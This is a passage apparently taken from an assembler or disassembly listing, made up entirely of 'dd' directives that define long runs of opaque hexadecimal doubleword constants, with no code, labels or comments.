		dd 4151D8CCh, 821900C8h, 0A098CB47h, 4838D31Eh,	0EAFE80C9h
		dd 942ED197h, 0B62B00BFh, 0DC30455Bh, 5E60FC42h, 77CA3210h
		dd 3D491F37h, 3D9C053h,	0B14FE02Ch, 598BA503h, 168DBA5Ah
		dd 1D650E74h, 0E7A84004h, 0BEE886FFh, 5EF80600h, 0F44B4CE5h
		dd 1B283E3Bh, 0A1205603h, 0F2A8746Dh, 77024FC1h, 3505FE9h
		dd 9A848095h, 7E3901Bh,	0B17F411Eh, 0A97703Fh, 0B90068A8h
		dd 7074780Eh, 357B82h, 56FF50AFh, 0F92E4801h, 0B5C80F00h
		dd 0D9F58881h, 1CDFA75h, 0F2B762C1h, 0D40FBF9Bh, 4907471Ah
		dd 57A9ECBCh, 0E3590E10h, 3EF50033h, 0E689B3E2h, 2800CE8Bh
		dd 0AAC209DDh, 0A38C24h, 0B6106DF5h, 1256818Ah,	51005974h
		dd 0B2FFB51Ah, 12CB3D87h, 3C7AE44h, 0D0F2242Bh,	0D84CD187h
		dd 8868702Fh, 21085900h, 2B338ADDh, 71620086h, 8B22C105h
		dd 9100A2F0h, 0D568A615h, 70DCB0AEh, 9C600024h,	948A9DC9h
		dd 29005451h, 0F4BE4130h, 1AC77Ah, 0D38DB4F8h, 0E320384Ah
		dd 34CD1600h, 0F756EB53h, 0E63A07FCh, 518937E1h, 0E46FB3EAh
		dd 4201AB66h, 81A02B3Bh, 0FC207DCFh, 7B150E2Dh,	3EA0F55Bh
		dd 0E039B418h, 28002698h, 16D2A057h, 0CDB1BFh, 0BD738602h
		dd 6A532713h, 6CBAC00h,	0A7811B30h, 65C200D2h, 9D47897Dh
		dd 2A00E0D7h, 0AD4F3880h, 1CC6BE23h, 804C7225h,	12CF2FBBh
		dd 0A1002A17h, 3786A966h, 48538Dh, 7025DEEFh, 4383ECCEh
		dd 0F4874D00h, 1ACF36E9h, 9EED014Ch, 233BBC78h,	0C4D8CB48h
		dd 5500A633h, 0C99DCB7Ch, 3EE77E3Eh, 9801A041h,	9305BCD5h
		dd 1A09DC22h, 373B8D00h, 74B72681h, 1911009Ah, 0BBF36159h
		dd 5100CB2Eh, 639FC97Ch
		dd 3048434h, 0A2EEC215h, 5EC04ABEh, 0FA0050AAh,	32B49658h
		dd 2AC16h, 1749ADC9h, 5F1BA8A6h, 7487D101h, 5765DC4Ch
		dd 77ED29F8h, 5989007Ch, 0A1BA4BBFh, 2767462h, 164EC400h
		dd 655B35CCh, 8F870007h, 45156450h, 0C487F1Eh, 73582C37h
		dd 0FD49E401h, 43D8BAFCh, 243F3C9Eh, 8F3CCE00h,	0F78271E0h
		dd 566B5D00h, 7A4C481Bh, 1C78015Eh, 0B81026Fh, 0F88FE0EDh
		dd 0D42F8500h, 7BBD0DDCh, 0C8AD006Ah, 0F4741BFh, 5E2CAC15h
		dd 5200D679h, 847B24A2h, 4BC21DF7h, 4AFB809Ch, 0E41B8BB4h
		dd 0D912E805h, 52C1B648h, 0F4DC4699h, 0A3BE1816h, 3C14A8F7h
		dd 0D28E7814h, 56A50CA8h, 486F3072h, 0F71D9099h, 0F2BD00C4h
		dd 607068F1h, 50819400h, 0A07859B6h, 1AB20066h,	491F7B46h
		dd 4C0786B4h, 0F3BDDDC4h, 0ABD069C0h, 0A5EA01A2h, 1456F4Bh
		dd 601080AAh, 885754F0h, 70F70725h, 94115C9Dh, 0AB4880C4h
		dd 731C14AAh, 43037492h, 0E8327CB7h, 5C84EA46h,	0C50EF3Ch
		dd 0E52A07D4h, 90977682h, 7985FCCBh, 0B11CD300h, 8B1B7513h
		dd 6C020056h, 0F7BC88BDh, 311F8D3Eh, 5DC5E425h,	0A818E12h
		dd 0A77087C4h, 2E200044h, 323C03F6h, 8A000B36h,	55978180h
		dd 0C641B5h, 573C0B9h, 6D7A1507h, 57EFB300h, 6B5E72A9h
		dd 3C100B4h, 0FD9CC290h, 91001CE7h, 6A86D147h, 0F6318035h
		dd 0AF4B00B6h, 9CFE2472h, 0BA0E3F11h, 67E6B533h, 2390C68Bh
		dd 48293061h, 0D2001A4Fh, 40F55FBBh, 7300F622h,	2006726Fh
		dd 7589C68h, 0CCEBDAEDh, 23F960D4h, 0BA0016F0h,	9F22B169h
		dd 5BEEBDh, 0F46B3599h,	7A911F37h, 93D46802h, 80321C4Dh
		dd 9ECC9CC5h, 85F600EEh, 7ED9F90Fh, 560088ACh, 0E9EDE398h
		dd 0BF6335h, 850BE048h,	0FFCC2694h, 70E380FCh, 411DAE09h
		dd 7000B08Bh, 0EC1F2512h, 30BF60B8h, 0DEFDA82Bh, 0A6CE7403h
		dd 0A8917E32h, 921502Eh, 5517F349h, 0D5B99C87h,	94DEC0C9h
		dd 85E00A20h, 5FEC6900h, 103DF284h, 0EE6D0075h,	64241F9Ah
		dd 7A909252h, 0E0B2A024h, 535D9000h, 8C033Ch, 0FFF5CE9Eh
		dd 0C86EF158h, 6AAA60E7h, 638B400h, 0A3664CAFh,	8F7EAAh
		dd 1E447A03h, 2D3A4114h, 0BB0B6200h, 29AFAEF8h,	6BC10091h
		dd 0EC144A2Ch, 123041E4h, 0F53AD99Ah, 0D42F50C6h, 53D50285h
		dd 0C7580366h, 142540D5h, 0EE9300EAh, 0CEF70DA0h, 0DF30E484h
		dd 25553042h, 0EACC9837h, 0AD8E00DEh, 0C7AA866Dh, 8400385Dh
		dd 78D0C52Fh, 76A6FC68h, 809B189Ah, 96F33875h, 3EB72000h
		dd 533067B1h, 0DFED146Bh, 7AEC49h, 327B8646h, 9D877013h
		dd 2527BD0Fh, 51F6A29Eh, 75A44031h, 8BCF00A0h, 5F7EB5D4h
		dd 160098DBh, 21DD72FDh, 4A4C735h, 0E39D77E7h, 0D9D4C087h
		dd 3D3A8F5Fh, 80A0FB4Bh, 7A50C34Fh, 0C8009734h,	67913824h
		dd 304B3CF6h, 0BB295361h, 22003132h, 90571DE6h,	236D0Eh
		dd 8F49ACA9h, 0E9606A41h, 0ABCFC104h, 18C2BB3Bh, 0F84C4858h
		dd 8F660608h, 3AE63579h, 1C01A17Dh, 83A5C171h, 0F1703965h
		dd 4C9192h, 62BE8C55h, 7AF29F20h, 0DFA45A0Fh, 0DC944Ah
		dd 0CD7C5279h, 630390h,	0A5085FF3h, 2946CAE7h, 2300ABECh
		dd 914E688h, 0B63E17h, 0F6B5F91Eh, 5954E777h, 0E8E1B801h
		dd 0AB55BCA2h, 7F48960h, 1E640F17h, 30A4F0E5h, 36B07035h
		dd 25B39200h, 0A718F88Eh, 0C120FABh, 370D7Bh, 0B55E7DB9h
		dd 4E7E7158h, 13529C3Eh, 28001A34h, 29D28D44h, 873A0020h
		dd 50A2D565h, 0EF095DF1h, 0D5BE54E0h, 6D3BED00h, 0CB00DD36h
		dd 1972D5CAh, 0DC39DB5Ah, 4979C038h, 0FBB47F24h, 78FA320Eh
		dd 0D2DA037h, 8021B9h, 0E48AA0AAh, 0BD1D94A2h, 0D74B9528h
		dd 3E0F27FEh, 8092A7F9h, 0ED719A70h, 0FE406C2h,	602DEFFAh
		dd 2CC88301h, 138785F4h, 921020h, 0E9B20FFDh, 4F8401AAh
		dd 0ECD00600h, 9B2BCFA8h, 904E245Eh, 2EE100ACh,	9892BBB1h
		dd 0EB5C940Bh, 0A5D48097h, 7C2FB36h, 7AF9F19Ah,	2D20AF83h
		dd 0F0C6871Dh, 2C921300h, 358645D2h, 991C5C7Fh,	0EDBE12h
		dd 631929E0h, 8E0024E2h, 0C3662E7Ah, 5BBA56h, 37851191h
		dd 532CF7D1h, 4951B00h,	0D5F9C699h, 7B600A1h, 3AF86F78h
		dd 0F012821h, 0A8AA482Fh, 3FE8B41Dh, 71E0B8h, 85514E70h
		dd 0FCE2B59Ah, 79B1B75Bh, 789890FCh, 8828075Fh,	7915CA9h
		dd 20FCD66Ah, 49D6D200h, 0E55D31F6h, 0B18700B3h, 0ECC00925h
		dd 10F93F8h, 604AFCF2h,	908845B7h, 3760003Dh, 22E41950h
		dd 0AA0070EBh, 298A6F85h, 1B31154h, 8B4DC79Bh, 0F05028F9h
		dd 6A1D5F46h, 0F8C0C53Dh, 3BA713EFh, 1F34F4EEh,	1E7206h
		dd 0F94BDA92h, 2FF4867Eh, 0E21F2DEEh, 0EA402749h, 454C8D4Fh
		dd 7622905Ch, 93C70088h, 5E51063Fh, 900469Dh, 822A533Eh
		dd 0E348F17h, 0C63304D8h, 5893B280h, 4A1627EBh,	3400BAAFh
		dd 9F41A383h, 64F104DEh, 847895C1h, 0CACB0h, 6CA4D55Ah
		dd 0D1C09Bh, 0D0713FA8h, 0B33A1306h, 4478C403h,	0E3191AA6h
		dd 0FEDEA835h, 0EB072CE8h, 4D7E00EBh, 3795BA41h, 9A2941Dh
		dd 0B57A3183h, 0CA5B8050h, 913A006Fh, 75BC60B7h, 0E20003E1h
		dd 0CBEFC4A6h, 30F0A452h, 2AF0843Bh, 0C200BC33h, 43ABB69Fh
		dd 0EF3AFBEh, 811A2488h, 1C935121h, 8E17CCA2h, 0C8032F71h
		dd 432BA092h, 0C5E80058h, 0CC055DE5h, 62000228h, 2049BD85h
		dd 84F13Fh, 0A6803EA2h,	2E0825ABh, 0B0A0D3E8h, 35008EA9h
		dd 79907820h, 0E23F9Fh,	157E6D0Dh, 0B22C9C3Eh, 51FE0F00h
		dd 481BDC24h, 0F2AB852h, 0F6C7D97Fh, 0D14F11C0h, 59F239A0h
		dd 0E5F4B103h, 7865250h, 0CE014E50h, 0CBF7E0E9h, 0D1008C04h
		dd 0A7308346h, 872E1Ah,	7BB8836h, 90AA7120h, 8A7D0807h
		dd 1E802777h, 76368Ch, 0D77A1A49h, 53BE0F8Fh, 61005090h
		dd 5B97995h, 275D9D01h,	2F012B7Eh, 0D056A974h, 0AA0123DDh
		dd 360DED49h, 5680A085h, 185F28C6h, 0F6E86CDEh,	3A16D903h
		dd 0A13ECC9Eh, 0C8427599h, 17F0E088h, 1C63301Dh, 18AC67F8h
		dd 9E722700h, 787064DDh, 0C8680077h, 8AFBA212h,	320FE338h
		dd 409182AFh, 95DFC318h, 74FC00F9h, 2471291Bh, 4A00E299h
		dd 565352C1h, 58689Fh, 0B7E0B830h, 0EAFBB5B0h, 0A6DFB200h
		dd 0F7765006h, 0AC75018Bh, 306F158Dh, 0EDD320E7h, 0BAAA6303h
		dd 0A8DF947Eh, 0DEEAE0h, 5845F938h, 2A9C4C64h, 0F000447Eh
		dd 0BCBF7E35h, 0F44785h, 0A1B3E677h, 0A9FEFB7h,	0E10CC507h
		dd 1080368Ah, 0FCD19D26h, 92A8061Ch, 1839705Ah,	3B52AB00h
		dd 4BACDD01h, 56AE0734h, 40BCA53Ah, 0CCF12012h,	2599F200h
		dd 539D1438h, 1DE861h, 71E815CEh, 49C93DC6h, 85A49E14h
		dd 0BB2200B0h, 0AA763A3Bh, 49D4EC83h, 0A1007C78h, 1B2EB901h
		dd 0EB001A94h, 0A4B78660h, 0C028AB3Fh, 55ADF738h, 7C925E45h
		dd 6A0A970Fh, 7801B2F4h, 0AD1F68C7h, 0ED751E0Ch, 0B0774892h
		dd 33572F0Eh, 0F52860EBh, 419F0CBh, 0E15549B5h,	0AC24805Ch
		dd 6E1E7156h, 7F0EC797h, 0FD638169h, 54305FFBh,	84BD2002h
		dd 1CA95444h, 8060D74Bh, 0FD0EFE67h, 0C0AF7F0h,	0FC799F6Fh
		dd 0B7163E03h, 0FE5280EDh, 0BFE2003Ch, 0EED53AF1h, 25000D45h
		dd 4DD14A78h, 788C9642h, 415D038Eh, 0ABD7931h, 0A4EB18F0h
		dd 0A4AF4Ch, 973CC093h,	2360AEh, 4719FAA2h, 968FA12Bh
		dd 0A6C84400h, 3265B6F2h, 0C340E793h, 7024685h,	4EF7FB90h
		dd 0A0704013h, 953B20D9h
		dd 0EF03777Dh, 2BFE0D8Ch, 0B6B7E84Ah, 662D2C45h, 0EF48008h
		dd 86B991C9h, 42214900h, 6AD7DBCh, 8198982Eh, 52D47683h
		dd 1177009Fh, 33C7D8BAh, 0AA02ADBDh, 0CB370F24h, 326C60A7h
		dd 0F42D0F83h, 0B9A0193Ah, 3705F003h, 4B2A9E00h, 8AA741A8h
		dd 56CF00D7h, 9F030F87h, 7300070Bh, 9C35CB9Bh, 0ED3A70h
		dd 3340D530h, 0FE717C24h, 22954803h, 0E85CA0C3h, 0B3364Dh
		dd 2532BE37h, 0D3F7B29Dh, 8D510B00h, 95CD98E3h,	30988Eh
		dd 6E3B5B7Dh, 0EA885072h, 0EC82BD00h, 303ECF56h, 3CF8D3h
		dd 4F4023C3h, 94DFA666h, 0EF030E00h, 48746B5Dh,	7C7B39h
		dd 0AA844399h, 0AB8B686Eh, 0EC022B07h, 6CC0F050h, 0EE48CBC3h
		dd 0E4A2003Fh, 5B42F929h, 450072C9h, 2B60CC67h,	6BBC64h
		dd 34C7E452h, 9298BB07h, 3861830Eh, 9160E010h, 0F06A4Ch
		dd 762C6E8Bh, 2A7DAA72h, 6762CA01h, 0B7BD4F15h,	34D24E4h
		dd 0FD885FBFh, 19DB5EF5h, 9C1C0DA0h, 374C0FB8h,	76D100A2h
		dd 578486DBh, 55F60710h, 20582F9Fh, 93224A62h, 3FE73700h
		dd 955F4F79h, 3EDE4EBh,	17674D99h, 0B2703540h, 0F3439707h
		dd 7B07DD3h, 1FC46E88h,	5665174h, 0C09BD161h, 33E39871h
		dd 0CD04AD2Ch, 5D9B001h, 0EEF314C3h, 8D022890h,	6AC20318h
		dd 52C47BE5h, 7EA06FA3h, 28CF9C85h, 5AC870D1h, 6C00F4BAh
		dd 6A35D967h, 165595h, 8F5192C9h, 70637F5Ah, 3901F877h
		dd 0A737359Dh, 0B9C0203Fh, 187A0FC7h, 6AC3053Ah, 8BF048A4h
		dd 235002ADh, 8250FC34h, 0DC036A54h, 284CE3A2h,	75782BDEh
		dd 831F9078h, 0A07BA7FDh, 22571941h, 4631854Ch,	43E2D1A5h
		dd 9BF9288Eh, 0EF9AD2C2h, 100F4140h, 0C4005078h, 8FDF5EF3h
		dd 36C2DA2h, 0EA341201h, 74A8189Eh, 7F0058C8h, 90048B81h
		dd 0D6411Ah, 3B7DB60Ch,	694E0397h, 1B8A138h, 0AA0A9277h
		dd 60CEC3DFh, 0F7604F3h, 0EA3E3316h, 60A800D6h,	0EFD40A2h
		dd 0C388201h, 0B6E4134Fh, 8E7CF0h, 0AB910F6Fh, 0ACEC6983h
		dd 9C014AEAh, 0F5A29A4Dh, 16301DDCh, 0D670081h,	4ABA5B64h
		dd 21005913h, 35A55A79h, 35FEC5Ch, 0CE8BEF1Bh, 65A8B8F9h
		dd 700766Ah, 0A134817h,	1A544BEh, 0AD736BBDh, 0CC1855EAh
		dd 0E000DF3Eh, 0EEA086A7h, 805453h, 0FA23A9Dh, 0CFEC65F6h
		dd 0E1F311C0h, 84DD4Eh,	8DA191E5h, 0E646867Ch, 0BD0F100h
		dd 4C3AFEAAh, 0D2740092h, 0A6A8503h, 560ECEEFh,	43503BC3h
		dd 7C843018h, 8604AF51h, 10A713E1h, 15C9CA07h, 5FF0A07Fh
		dd 1A3A426h, 0F95D3DC5h, 0C862E19Fh, 87196C4Bh,	329132Ch
		dd 5B447308h, 6510844Eh, 37117E01h, 1D2C2127h, 83122BAh
		dd 271B5114h, 26895F08h, 5D6F1441h, 25CF5188h, 2D67900h
		dd 0F7A875h, 40AFED34h,	0FCC990DAh, 39820D00h, 1AA6B820h
		dd 0CF8B00BAh, 6B79C2E7h, 0B09806CBh, 705D0526h, 29C7300h
		dd 2C52DEh, 0E60FB9A8h,	7EB677A9h, 0C9F22851h, 8188EB1h
		dd 0B34427EEh, 6A92E1B0h, 3BBD008Dh, 0A429E9D1h, 85287236h
		dd 0F030FCB2h, 0F63090ACh, 98F8B7h, 0A6A9BDD4h,	0ECA32088h
		dd 639B4E14h, 0B27000F6h, 0DA465B9Eh, 906900ABh, 8561B848h
		dd 0B381843h, 349E007Bh, 620439D2h, 0A16C0364h,	4B26FEC5h
		dd 0D4F2B780h, 1E8BBB02h, 40FAAB73h, 1F01AFh, 2614A340h
		dd 7DC21CDFh, 0C1756F00h, 494BD5F6h, 0E20FF2C9h, 761A00E3h
		dd 56031CCCh, 58245D47h, 0A0000CA6h, 0D9E2841Bh, 28EE2E49h
		dd 0EF240016h, 3F14C2B1h, 7EA5653Bh, 0C33DFC7Fh, 68B48E21h
		dd 6D30E3E6h, 9AF2F880h, 0E940001Ah, 2DC727A4h,	5900671Fh
		dd 0A1FC989Fh, 329922h,	0E1812A39h, 51C8A478h, 0B896D400h
		dd 71F85C73h, 7CD3BF0h,	0B9CB160Ch, 0E407BF19h,	78A391A1h
		dd 30FC3E00h, 53CE173Ch, 0D1CC00B7h, 8119B1Ah, 5E683200h
		dd 0F46B55A8h, 0CFA6122Bh, 0DEBC40A9h, 0F7597898h, 0DBD8AB00h
		dd 0F137DF6Ch, 3DFB74A2h, 0E481F6D6h, 0B0648508h, 0EB20CCA8h
		dd 6E013F77h, 0DF53274Fh, 0ECC4A7A6h, 0F5ED00B0h, 7D81B929h
		dd 1E010FCEh, 0C222F239h, 80608E77h, 50DC009Ch,	78287953h
		dd 0E9003314h, 0CE9F6989h, 77757Fh, 1E2BCC6Ah, 0B2B52E09h
		dd 8030B13Ah, 0D03DD905h, 7E8BF9h, 72F7CFD5h, 0C93AC35Ch
		dd 0FD0BD200h, 16486966h, 0EB43018Ah, 0FBEA3D39h, 0DABF5Fh
		dd 0FC05DB51h, 3BD53CC4h, 9280E77Ah, 0A13DEFCCh, 0DA71D37Fh
		dd 86A98700h, 44C8CA4Dh, 0ACF60064h, 0C382AE73h, 0B005443h
		dd 7D98F56Ch, 786F4A0h,	3AF01E3Eh, 5F343064h, 9E14ED4Ah
		dd 80466Fh, 175262BAh, 50396426h, 7123FDF5h, 0BDD80061h
		dd 24DD27Bh, 0B9E22D32h, 0D41A9300h, 24ACC74Eh,	38840081h
		dd 0EA82832Ah, 7B71BFB7h, 0C5FD0D00h, 8E87C0C4h, 0A35C141Eh
		dd 7602E403h, 4C9B37Eh,	263C87C0h, 0B95B2F00h, 0ABB08DA9h
		dd 63DF1D9Dh, 16E68039h, 3614B122h, 96922713h, 44598800h
		dd 0F402D450h, 877A001Eh, 61E96ED0h, 9000FECDh,	4049F199h
		dd 0A9BB304h, 0C1F3771h, 0A752018Fh, 0C4844EDBh, 0B502D44Ah
		dd 0B17278E6h, 6FF441EFh, 574DD0h, 88749F64h, 34DFE1E5h
		dd 4BB99003h, 0D863AF3Eh, 0FA3D9115h, 0C1A30032h, 0E6B30A03h
		dd 5400E211h, 0B5923849h, 19948F4h, 7245098Fh, 0C0F6B6FCh
		dd 41FE766Eh, 5B9B8E01h, 0F0772E9Ah, 7D6960h, 12092F37h
		dd 96A32672h, 76C55E00h, 332BB34Fh, 0B2CB0EA1h,	0D8207D8Eh
		dd 0DA0F5CBBh, 0D05B9301h, 48C1F682h, 3DF5A8F8h, 5080989Eh
		dd 16426751h, 3D76A3E1h, 0D6749000h, 0F04C402Bh, 393C0711h
		dd 102A5905h, 0AA23CC49h, 5403D879h, 76EC27FCh,	7A80064h
		dd 0C181E4C6h, 0B0308B9Dh, 53FDD0E5h, 4C4D00B9h, 0BCF70197h
		dd 0A70086E1h, 7BD408FAh, 0DD2A07h, 5C32441Dh, 0EE13995Fh
		dd 16EBF00h, 8B606658h,	12FA1E7Bh, 0C2F700F2h, 28FC4815h
		dd 0AB62000h, 62C6E997h, 704C00F8h, 49F3C545h, 3814B93Bh
		dd 7A848C1Ah, 58EBB403h, 0F9B61FB2h, 33F05527h,	4D3000F5h
		dd 52760567h, 9300B013h, 1F6F5380h, 330350h, 0CEAA5CC3h
		dd 98602F71h, 57002270h, 7E2DAB12h, 499CE094h, 6A240437h
		dd 0DE9C3BA9h, 0C59B4FB2h, 73995A80h, 3C002988h, 0AAAF64C1h
		dd 65769Fh, 72C280B0h, 336754BCh, 0DF36A00h, 41834084h
		dd 0B42D52FCh, 1FCE40h,	0A91CE2A7h, 215F1932h, 288C4931h
		dd 0DCD4B553h, 0D62400D9h, 0C9721CF4h, 381EBCE9h, 9A80FF52h
		dd 365503C2h, 93A01B6h,	3F8272B3h, 808ED07Eh, 1D49510Fh
		dd 0C3FE673Eh, 0E9C9B173h, 0F0802430h, 5FAF973Fh, 0CAF89E64h
		dd 707E7501h, 87E339C6h, 0B98BE30h, 94A45972h, 0EBC26380h
		dd 9B3881E2h, 3F6D804Ch, 0F507174Ah, 53AF007Bh,	232270C3h
		dd 9000D33Ah, 1EC5F1B6h, 1D143CE9h, 8046442Fh, 0E1A121A8h
		dd 9A3A8528h, 0D64800D0h, 80ED4D84h, 106F0F4Bh,	401F2F4Fh
		dd 0AC412B53h, 6A000C8Bh, 372C1D9Ah, 450498h, 212E74D3h
		dd 794BB872h, 0DCE2F0C1h, 0C208DC4h, 0FEC7950h,	51EB2FC9h
		dd 94E3FE20h, 0C0C0CDD0h, 3267C720h, 0CEB90031h, 40E2CA7Ch
		dd 20901DEDh, 0C5842B00h, 680398A1h, 440A0F85h,	0ED40C696h
		dd 842B8EAh, 0E4D1B000h, 4FA91D9h, 5ACA0E37h, 0B880C3EBh
		dd 0B210F6A5h, 99479804h, 288030C1h, 0FE4524FBh, 267601F7h
		dd 76E25B6h, 6D7CC0A1h,	0E47E4304h, 0F0803FD6h,	3D78AB1Fh
		dd 2F004001h, 1159FD6Bh
		dd 0F2002CA5h, 0B2D035C0h, 70A6CABEh, 210900E6h, 0DD25FD68h
		dd 98A8A10Dh, 0B32E8193h, 56004226h, 34A91FD1h,	3AAD00DFh
		dd 0C2B2D67Dh, 0F63E8133h, 0DDBD8093h, 7B9EA6F0h, 0DA3800ABh
		dd 0EECA7A77h, 0D800B58Bh, 24ECFF39h, 0A1731Ch,	4E4C6557h
		dd 32DC7EEDh, 91807660h, 0CCA0D0h, 19C5A62Fh, 5E69DD55h
		dd 0F307837Ah, 0A521AA9Bh, 7202D07Ah, 8F9D13F8h, 1F7300DCh
		dd 0CA9EF1h, 0EB3C5D88h, 0F23E375Ah, 0B8E7A04h,	0F702CC86h
		dd 0C1407459h, 0A0491B18h, 3B5200A8h, 0F72C70A2h, 0E8146117h
		dd 4029773Eh, 7D0C5DCh,	60B6500h, 2F314D4Fh, 3F791C61h
		dd 8B6BC3C1h, 0FE80E1FAh, 5C4C4ABCh, 62850090h,	17F5F605h
		dd 0C5183ABDh, 0E0F675h, 51B867B6h, 69F8D557h, 2AA18C02h
		dd 0C3BB8A1Ah, 9E4E88F2h, 35800142h, 2041F274h,	0DEC3D8AEh
		dd 93279202h, 8008948Eh, 0BF9A8FACh, 0C87C09D0h, 1800C483h
		dd 0AED36AB9h, 6F5B7500h, 0C03BC548h, 0ADE8C095h, 4BDB9E39h
		dd 7F8E68C0h, 946924h, 9A097465h, 0D668FB7Ch, 0E0BD9207h
		dd 80456A28h, 18B18844h, 0ED3A6B80h, 4B300089h,	0BACDE1D8h
		dd 8E071BDFh, 3DC84333h, 29FA2410h, 0B86A0030h,	2592D99h
		dd 7D98E848h, 0E4B70500h, 0C7DD3E2Eh, 9CBB5435h, 26630FB0h
		dd 2D80A1E2h, 0CE53395Fh, 0FDC2281Dh, 48299E00h, 0F321763Eh
		dd 0A8C3E243h, 24EE5EA9h, 88FA1h, 0FC6F0879h, 0FA02FBB1h
		dd 4C217326h, 597B4093h, 0C2A100CCh, 8F95B62Dh,	1226ECA4h
		dd 0DF802CACh, 8DC1C690h, 947C00D3h, 0B1EB013Eh, 0BC9024D2h
		dd 3958F413h, 0FAA1D801h, 0FBC4326Fh, 6EA601E4h, 22BF4692h
		dd 24A03062h, 88930100h, 116D5580h, 263F7F83h, 1DE4BB0Fh
		dd 9C1D0E4Dh, 5974B920h, 0C407A20Ch, 0F13CC60h,	826140A0h
		dd 38941F02h, 0CD3782D0h, 704073AFh, 0C6B01528h, 4547E02h
		dd 0E45A0829h, 99F4161Ch, 0C0A81D64h, 20796585h, 7490AE4Fh
		dd 4B2DE500h, 8312F3BEh, 44193C9Bh, 4502A060h, 7E284041h
		dd 0AC00A088h, 540E51BBh, 1F5D89h, 90ADEB2Ah, 2417304Dh
		dd 0EDA53600h, 0FEC16FC8h, 0C9C61ED4h, 8A97430Dh, 0EB987EA9h
		dd 0B0056D6h, 18F14D52h, 0CF9BF26h, 1FBA6EB0h, 790197A0h
		dd 1C2C770h, 58706F62h,	13650148h, 0E52545A2h, 0A813DB4Eh
		dd 83054BEDh, 5CC47CA7h, 5C924EC5h, 5051E0E8h, 0BAD1023Ch
		dd 0B6F4201Dh, 4712B080h, 2C00B70Fh, 3A7EEE42h,	601EBDE3h
		dd 41936882h, 595C45F8h, 28711D48h, 3964E280h, 72A9E1h
		dd 0A5C41B94h, 0CE8567BFh, 4C9E9902h, 0C04B2F82h, 0E0379410h
		dd 0B063711Ch, 0CC7116A6h, 251C406Ah, 0A5DE8DEFh, 1DF848C1h
		dd 0B0766E1Ch, 49C8B100h, 2A7A9CCFh, 8481C0EDh,	0C7045200h
		dd 14DF2E68h, 6135268Eh, 0C30E4560h, 42813608h,	5AFE403Eh
		dd 0FB00E945h, 0DC980A15h, 3AD53F9h, 3CDD4D5Bh,	50E0A548h
		dd 0F0D35502h, 20573C4Fh, 1458CA4Dh, 3DE8B7h, 1DCC6F66h
		dd 4C0D7CABh, 0E92FEC1Ch, 93B9F40h, 2E8EBD1Fh, 7D00723Fh
		dd 0B4C0EE10h, 0A9B3635Ch, 0BAE0E601h, 20F37AC3h, 0E986C8h
		dd 0CF2D3BD3h, 82C95CDAh, 8097723Fh, 554DC734h,	48AF949Ah
		dd 8033C8Bh, 0AA4E2C5Ch, 0B01CF0BFh, 651290A1h,	0B00EE48h
		dd 69B7804Dh, 0A49467h,	0EAC10CD0h, 8A013E2Ch, 742E3B4Bh
		dd 0E040F298h, 0EC8BBEh, 0F3BF539Dh, 0F79254EBh, 0B46FD8B0h
		dd 15342120h, 11BDD8A8h, 0A296B181h, 240AB0F0h,	0FD046630h
		dd 2A5537D2h, 83346081h, 0C4EC512h, 42325500h, 56EB30D0h
		dd 367C26D5h, 7BB50089h, 0A4703E80h, 0B943C100h, 0E74A21D6h
		dd 86648B7h, 802EE51Dh,	0FD3DCAAh, 307F77C5h, 16F5B512h
		dd 727580Bh, 0C0C0B25Ch, 0C36AA0h, 0DEBBCF8Bh, 2613047Ch
		dd 603EE500h, 278947FAh, 0C6E1004Fh, 5E64DC78h,	0DB0063E6h
		dd 528C2516h, 0EC46481Ah, 0D9842667h, 5C3900CBh, 0A33D4D09h
		dd 0F20B0801h, 27AED6A9h, 0D06080C5h, 75B113DAh, 1D284794h
		dd 0AF483084h, 0F801062Ah, 377F1A3Fh, 4DE0B7C2h, 12071FBh
		dd 0A4180AFCh, 70CEC521h, 0BF019020h, 1EEAB79Bh, 6460917Bh
		dd 72A10081h, 0EF0D8EBBh, 0C100466Eh, 54C0A95Eh, 0B8F876DCh
		dd 75910050h, 2679CE14h, 41045C53h, 0D5B8F396h,	300718D0h
		dd 0F6A83811h, 0C588DB3h, 0DB8E3DF8h, 0EC9B3100h, 6D9CF41Ah
		dd 68E50391h, 751F9A0Eh, 3BBC5CC8h, 0E6514300h,	0AB578C85h
		dd 87C50065h, 889FFD90h, 4F0047B0h, 677E5A1Dh, 7E08EF1Ch
		dd 0F5193E70h, 26744880h, 38395D75h, 720060B2h,	57C0D021h
		dd 3886AD66h, 75853E63h, 0C0BD95FBh, 328A6EA0h,	8884B700h
		dd 1DD2AAACh, 0A3DB0315h, 261F192h, 18975990h, 5047BB02h
		dd 410FBD36h, 0DFD4C6E4h, 0BE83182Ah, 0DE151073h, 0DB75501Eh
		dd 26B4CC49h, 7678F8h, 0D6654403h, 91A3C15h, 31EFF900h
		dd 0F2E28C81h, 29620206h, 5F631EBCh, 300AA887h,	0E459E0D2h
		dd 62368000h, 583E0578h, 0DA2A00EDh, 0ECF4843Fh, 4500514Eh
		dd 7A8B0BB5h, 6F543BDh,	562BC3FAh, 0E8783881h, 0B70D530Bh
		dd 0F8ECA145h, 583082B3h, 0D5E76DEh, 7664DFAEh,	25A85060h
		dd 77003F2Ch, 164EFC57h, 639F9Bh, 2036FB5h, 3DAF6A4Fh
		dd 8F442603h, 0C0527CB2h, 1FB6BDA1h, 409F65DFh,	0CB14D34Ah
		dd 1E792498h, 37D6B07h,	0BB80B847h, 982A50C3h, 0F8BFC6Eh
		dd 0BC514C69h, 0ED0E406Bh, 7E57A020h, 0D600D019h, 1FF8B702h
		dd 0E4FDEFF7h, 0CEB900A1h, 0B3A42109h, 0C2546E9h, 176020F3h
		dd 7CE44339h, 0FA7FEAh,	449AA905h, 3A4E8030h, 6E000C91h
		dd 15D1395Ah, 3E1E078Ch, 4665F40Dh, 410021A5h, 0CA5638DAh
		dd 83557Bh, 0ADFE0C6Fh,	6E7A9592h, 5C82F48h, 663C8EA0h
		dd 128028D7h, 0B85CB764h, 0BDCC80E9h, 6F08CC42h, 5200FF21h
		dd 0CCF040B7h, 3D93006h, 7EEDC18Dh, 7A81B101h, 8E818E8Ch
		dd 0B609648Fh, 1DE060A1h, 59B30056h, 0A6E1ED75h, 0DF74852Eh
		dd 3981A59h, 0B5B34F32h, 37D3D833h, 0D5D55867h,	9BF22A00h
		dd 340F415Eh, 0A229515h, 697C0E90h, 44218791h, 407BF502h
		dd 308FB411h, 0C5E86E59h, 0D6CB1F9h, 18579098h,	10104511h
		dd 3B0E3930h, 0A0BA94B2h, 171AFB22h, 4E6E008Dh,	0D7066BBDh
		dd 801DE681h, 24C0A642h, 0E293D209h, 5E5000BEh,	0B0694F07h
